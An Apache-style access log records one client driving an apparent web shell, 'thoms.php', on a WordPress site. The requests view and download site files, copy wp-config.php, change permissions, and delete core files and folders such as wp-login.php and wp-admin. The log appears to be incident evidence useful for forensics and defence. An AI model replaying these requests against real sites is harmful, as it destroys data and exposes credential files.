45.135.193.11 - - [11/Sep/2026:23:15:20 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fwp-config-sample.php&p=bogroup.com.tw HTTP/1.1" 200 11465 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:20 -0400] "GET /thoms.php?chmod=index.php&p=bogroup.com.tw HTTP/1.1" 200 11476 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:20 -0400] "GET /thoms.php?p=bogroup.com.tw&view=wp-config-sample.php HTTP/1.1" 200 13310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:20 -0400] "GET /thoms.php?dl=wp-comments-post.php&p=bogroup.com.tw HTTP/1.1" 200 17361 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:20 -0400] "GET /bogroup.com.tw HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:20 -0400] "GET /thoms.php?del=wp-cron.php&p=bogroup.com.tw HTTP/1.1" 200 17360 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:20 -0400] "GET /thoms.php?chmod=cgi-bin&p=bogroup.com.tw HTTP/1.1" 200 11474 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:20 -0400] "GET /thoms.php?chmod=log-seed&p=bogroup.com.tw HTTP/1.1" 200 11485 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:21 -0400] "GET /thoms.php?del=upgrade&p=bogroup.com.tw HTTP/1.1" 200 17361 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:21 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fwp-includes&p= HTTP/1.1" 200 12217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:21 -0400] "GET /thoms.php?chmod=error_log&p=bogroup.com.tw HTTP/1.1" 200 11490 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:20 -0400] "GET /bogroup.com.tw/ HTTP/1.1" 404 15865 "https://163.245.207.76/bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:21 -0400] "GET /thoms.php?chmod=wp-activate.php&p=bogroup.com.tw HTTP/1.1" 200 11494 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:21 -0400] "GET /thoms.php?del=error_log&p=bogroup.com.tw HTTP/1.1" 200 17363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:21 -0400] "GET /thoms.php?chmod=wp-content&p=bogroup.com.tw HTTP/1.1" 200 11473 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:21 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Ferror_log&p=bogroup.com.tw HTTP/1.1" 200 11457 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:21 -0400] "GET /thoms.php?chmod=wp-cron.php&p=bogroup.com.tw HTTP/1.1" 200 11493 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:21 -0400] "GET /thoms.php?p=bogroup.com.tw&view=wp-login.php HTTP/1.1" 200 29022 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:21 -0400] "GET /thoms.php?dl=mah.php&p=bogroup.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:21 -0400] "GET /thoms.php?dl=wp-mail.php&p=bogroup.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:21 -0400] "GET /thoms.php?del=locoy.php&p=bogroup.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:21 -0400] "GET /thoms.php?dl=thoms.php&p=bogroup.com.tw HTTP/1.1" 200 17365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:21 -0400] "GET /thoms.php?del=wp-login.php&p=bogroup.com.tw HTTP/1.1" 200 17363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:21 -0400] "GET /thoms.php?dl=xmlrpc.php&p=bogroup.com.tw HTTP/1.1" 200 17363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:21 -0400] "GET /thoms.php?chmod=.well-known&p=bogroup.com.tw HTTP/1.1" 200 11479 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:21 -0400] "GET /thoms.php?chmod=license.txt&p=bogroup.com.tw HTTP/1.1" 200 11492 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:21 -0400] "GET /thoms.php?p=bogroup.com.tw&view=error_log HTTP/1.1" 200 13140 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:21 -0400] "GET /thoms.php?del=.well-known&p=bogroup.com.tw HTTP/1.1" 200 17363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:21 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fthoms.php&p=bogroup.com.tw HTTP/1.1" 200 11434 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:21 -0400] "GET /thoms.php?p=bogroup.com.tw%2Fwp-admin HTTP/1.1" 200 28752 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:21 -0400] "GET /thoms.php?p=bogroup.com.tw%2Fupgrade HTTP/1.1" 200 13754 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:21 -0400] "GET /thoms.php?p=bogroup.com.tw&view=wp-load.php HTTP/1.1" 200 13661 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:21 -0400] "GET /thoms.php?del=wp-includes&p=bogroup.com.tw HTTP/1.1" 200 17365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:21 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Freadme.html&p=bogroup.com.tw HTTP/1.1" 200 11468 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:21 -0400] "GET /thoms.php?del=readme.html&p=bogroup.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:21 -0400] "GET /thoms.php?chmod=xmlrpc.php&p=bogroup.com.tw HTTP/1.1" 200 11490 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:21 -0400] "GET /thoms.php?del=wp-config-sample.php&p=bogroup.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:21 -0400] "GET /thoms.php?dl=locoy.php&p=bogroup.com.tw HTTP/1.1" 200 17365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:22 -0400] "GET /thoms.php?chmod=readme.html&p=bogroup.com.tw HTTP/1.1" 200 11478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:21 -0400] "GET /thoms.php?p=bogroup.com.tw%2Fwp-includes HTTP/1.1" 200 59122 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:22 -0400] "GET /thoms.php?chmod=wp-login.php&p=bogroup.com.tw HTTP/1.1" 200 11479 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:22 -0400] "GET /thoms.php?chmod=wp-signup.php&p=bogroup.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:22 -0400] "GET /thoms.php?p=bogroup.com.tw%2Flog-seed HTTP/1.1" 200 13401 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:22 -0400] "GET /thoms.php?del=wp-signup.php&p=bogroup.com.tw HTTP/1.1" 200 17354 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:22 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fcgi-bin&p= HTTP/1.1" 200 12215 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:22 -0400] "GET /thoms.php?p=bogroup.com.tw&view=locoy.php HTTP/1.1" 200 12949 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:22 -0400] "GET /thoms.php?chmod=locoy.php&p=bogroup.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:22 -0400] "GET /thoms.php?chmod=mah.php&p=bogroup.com.tw HTTP/1.1" 200 11470 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:22 -0400] "GET /thoms.php?p=bogroup.com.tw&view=thoms.php HTTP/1.1" 200 11802 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:22 -0400] "GET /thoms.php?p=bogroup.com.tw&upload= HTTP/1.1" 200 12148 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:22 -0400] "GET /thoms.php?chmod=wp-blog-header.php&p=bogroup.com.tw HTTP/1.1" 200 11483 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:22 -0400] "GET /thoms.php?del=wp-blog-header.php&p=bogroup.com.tw HTTP/1.1" 200 17363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:22 -0400] "GET /thoms.php?chmod=wp-mail.php&p=bogroup.com.tw HTTP/1.1" 200 11490 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:22 -0400] "GET /thoms.php?dl=wp-blog-header.php&p=bogroup.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:22 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fwp-trackback.php&p=bogroup.com.tw HTTP/1.1" 200 11472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:22 -0400] "GET /thoms.php?del=wp-mail.php&p=bogroup.com.tw HTTP/1.1" 200 17363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:22 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fwp-mail.php&p=bogroup.com.tw HTTP/1.1" 200 11460 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:22 -0400] "GET /thoms.php?dl=wp-config-sample.php&p=bogroup.com.tw HTTP/1.1" 200 17363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:22 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fxmlrpc.php&p=bogroup.com.tw HTTP/1.1" 200 11469 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:22 -0400] "GET /thoms.php?del=xmlrpc.php&p=bogroup.com.tw HTTP/1.1" 200 17365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:22 -0400] "GET /thoms.php?copy=bogroup.com.tw%2F.htaccess&p=bogroup.com.tw HTTP/1.1" 200 11466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:22 -0400] "GET /thoms.php?del=wp-admin&p=bogroup.com.tw HTTP/1.1" 200 17363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:22 -0400] "GET /thoms.php?chmod=thoms.php&p=bogroup.com.tw HTTP/1.1" 200 11472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:22 -0400] "GET /thoms.php?del=license.txt&p=bogroup.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:22 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fwp-links-opml.php&p=bogroup.com.tw HTTP/1.1" 200 11463 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:22 -0400] "GET /thoms.php?del=wp-load.php&p=bogroup.com.tw HTTP/1.1" 200 17363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:22 -0400] "GET /thoms.php?p=bogroup.com.tw&view=wp-trackback.php HTTP/1.1" 200 14095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:22 -0400] "GET /thoms.php?dl=wp-signup.php&p=bogroup.com.tw HTTP/1.1" 200 17352 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:22 -0400] "GET /thoms.php?chmod=.htaccess&p=bogroup.com.tw HTTP/1.1" 200 11476 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:22 -0400] "GET /thoms.php?del=cgi-bin&p=bogroup.com.tw HTTP/1.1" 200 17353 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:22 -0400] "GET /thoms.php?del=wp-comments-post.php&p=bogroup.com.tw HTTP/1.1" 200 17348 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:22 -0400] "GET /thoms.php?del=catalog-build&p=bogroup.com.tw HTTP/1.1" 200 17366 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:22 -0400] "GET /thoms.php?dl=.htaccess&p=bogroup.com.tw HTTP/1.1" 200 17363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:23 -0400] "GET /thoms.php?p=bogroup.com.tw&view=wp-mail.php HTTP/1.1" 200 15342 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:23 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Flicense.txt&p=bogroup.com.tw HTTP/1.1" 200 11437 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:23 -0400] "GET /thoms.php?del=wp-activate.php&p=bogroup.com.tw HTTP/1.1" 200 17366 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:23 -0400] "GET /thoms.php?dl=wp-cron.php&p=bogroup.com.tw HTTP/1.1" 200 17365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:23 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Flog-seed&p= HTTP/1.1" 200 12203 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:23 -0400] "GET /thoms.php?dl=wp-settings.php&p=bogroup.com.tw HTTP/1.1" 200 17365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:23 -0400] "GET /thoms.php?chmod=wp-admin&p=bogroup.com.tw HTTP/1.1" 200 11476 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:23 -0400] "GET /thoms.php?chmod=wp-config-sample.php&p=bogroup.com.tw HTTP/1.1" 200 11485 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:23 -0400] "GET /thoms.php?dl=wp-load.php&p=bogroup.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:23 -0400] "GET /thoms.php?p=bogroup.com.tw&settings=1 HTTP/1.1" 200 11877 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:23 -0400] "GET /thoms.php?chmod=catalog-build&p=bogroup.com.tw HTTP/1.1" 200 11479 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:23 -0400] "GET /thoms.php?del=log-seed&p=bogroup.com.tw HTTP/1.1" 200 17354 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:23 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Findex.php&p=bogroup.com.tw HTTP/1.1" 200 11459 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:23 -0400] "GET /thoms.php?p=bogroup.com.tw&view=license.txt HTTP/1.1" 200 20071 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:23 -0400] "GET /thoms.php?del=mah.php&p=bogroup.com.tw HTTP/1.1" 200 17362 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:23 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fwp-activate.php&p=bogroup.com.tw HTTP/1.1" 200 11460 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:23 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fwp-config.php&p=bogroup.com.tw HTTP/1.1" 200 11460 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:23 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fupgrade&p= HTTP/1.1" 200 12225 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:23 -0400] "GET /thoms.php?del=.htaccess&p=bogroup.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:23 -0400] "GET /thoms.php?p=bogroup.com.tw&view=index.php HTTP/1.1" 200 12043 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:23 -0400] "GET /thoms.php?chmod=wp-load.php&p=bogroup.com.tw HTTP/1.1" 200 11492 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:23 -0400] "GET /thoms.php?dl=wp-links-opml.php&p=bogroup.com.tw HTTP/1.1" 200 17353 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:23 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fwp-load.php&p=bogroup.com.tw HTTP/1.1" 200 11459 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
